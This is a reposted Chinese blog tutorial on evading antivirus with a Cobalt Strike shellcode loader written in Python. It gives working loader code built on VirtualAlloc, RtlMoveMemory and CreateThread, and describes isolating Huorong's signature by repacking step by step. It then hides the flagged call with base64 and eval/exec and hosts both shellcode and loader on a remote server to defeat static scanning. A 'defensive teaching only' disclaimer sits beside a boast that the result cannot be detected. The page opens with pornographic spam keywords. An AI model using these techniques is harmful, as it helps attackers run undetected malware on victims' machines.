午夜视频在线网站,日韩视频精品在线,中文字幕精品一区二区三区在线,在线播放精品,1024你懂我懂的旧版人,欧美日韩一级黄色片,一区二区三区在线观看视频

分享

【超詳細 | Python】CS免殺-分離 混淆免殺思路

 zZ華 2022-09-22 發(fā)布于廣東
圖片
一位苦于信息安全的萌新小白帽
本實驗僅用于信息防御教學(xué),切勿用于它用途
公眾號:XG小剛

混淆語句+分離免殺

特征碼
殺軟的靜態(tài)掃描,基本是按照匹配特征碼,根據(jù)哈希算法從病毒體中提取的病毒特征碼,逐個與程序文件的md5比較。
但是呢程序的內(nèi)容只要稍微微改動一點,md5值就會改變

所以殺軟還有一種方法是通過模糊哈希算法 ,找出一段不會改變的程序作為特征碼,匹配這段程序的就當(dāng)木馬病毒處理
loader加載器


這是網(wǎng)上python通用的shellcode loader
加載器原理請看這CS免殺-Shellcode Loader原理(python)
這個加載器我先將shellcode進行hex和base64編碼分離放在了服務(wù)器端,所以靜態(tài)查殺只查loader部分
圖片
接下來就通過單步走找出特征碼
我使用的pyinstaller將程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加載器沒任何處理,進行打包是會被火絨查殺的
圖片

單步查殺
我們將第一條語句留著,其他的全部刪除,打包exe發(fā)現(xiàn)沒有查殺
圖片

然后每次打包增加一條語句,直到發(fā)現(xiàn)進行了查殺
圖片

該語句刪除,其他的全部打包,發(fā)現(xiàn)不報病毒了
圖片

找到特征碼
到這我們可以確定,這段代碼中包含著火絨的特征碼
這是調(diào)用win的操作內(nèi)存的語句
ctypes.windll.kernel32.RtlMoveMemory(          ctypes.c_int(ptr),          buf,          ctypes.c_int(len(shellcode)))
根據(jù)模糊哈希的意思呢,這個語句md5應(yīng)該不會變,可這后面參數(shù)想咋變就咋變啊。。。

深入研究發(fā)現(xiàn),特征碼原來在前面,只要有RltMoveMemory這段字符就會查殺
所以確定RltMoveMemory這段字符就是特征碼
圖片
知道了特征碼是啥,那就將它進行處理

混淆語句
有兩種思路,一是換一個可以達到相同效果的函數(shù),但我沒找到,RltCopyMemory也會被查殺

另一種思路就是該字符明面上不出現(xiàn)在語句當(dāng)中
直接將整個語句加密,用evalexec函數(shù)運行
圖片
將上面語句base64轉(zhuǎn)碼,eval運行解碼的語句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''eval(base64.b64decode(string))
明面上沒有特征碼了,所以就繞過火絨了
圖片
這里的話基本是夠用了。

但是!!


既然shellcode能放在服務(wù)器上,那我們的loader是否也可以嘗試一下。。

這里eval函數(shù)不夠用了,只能運行一條語句
換成exec函數(shù),可以將Python代碼用分號;連接起來運行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
嘗試可行
進行base64編碼,放在我的服務(wù)器2.txt文件中
圖片
最后查殺代碼部分就剩這點了
圖片
圖片

圖片

只要你服務(wù)器不被標(biāo)記惡意主機
今就是天王老子來了也不敢說他是木馬??!

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多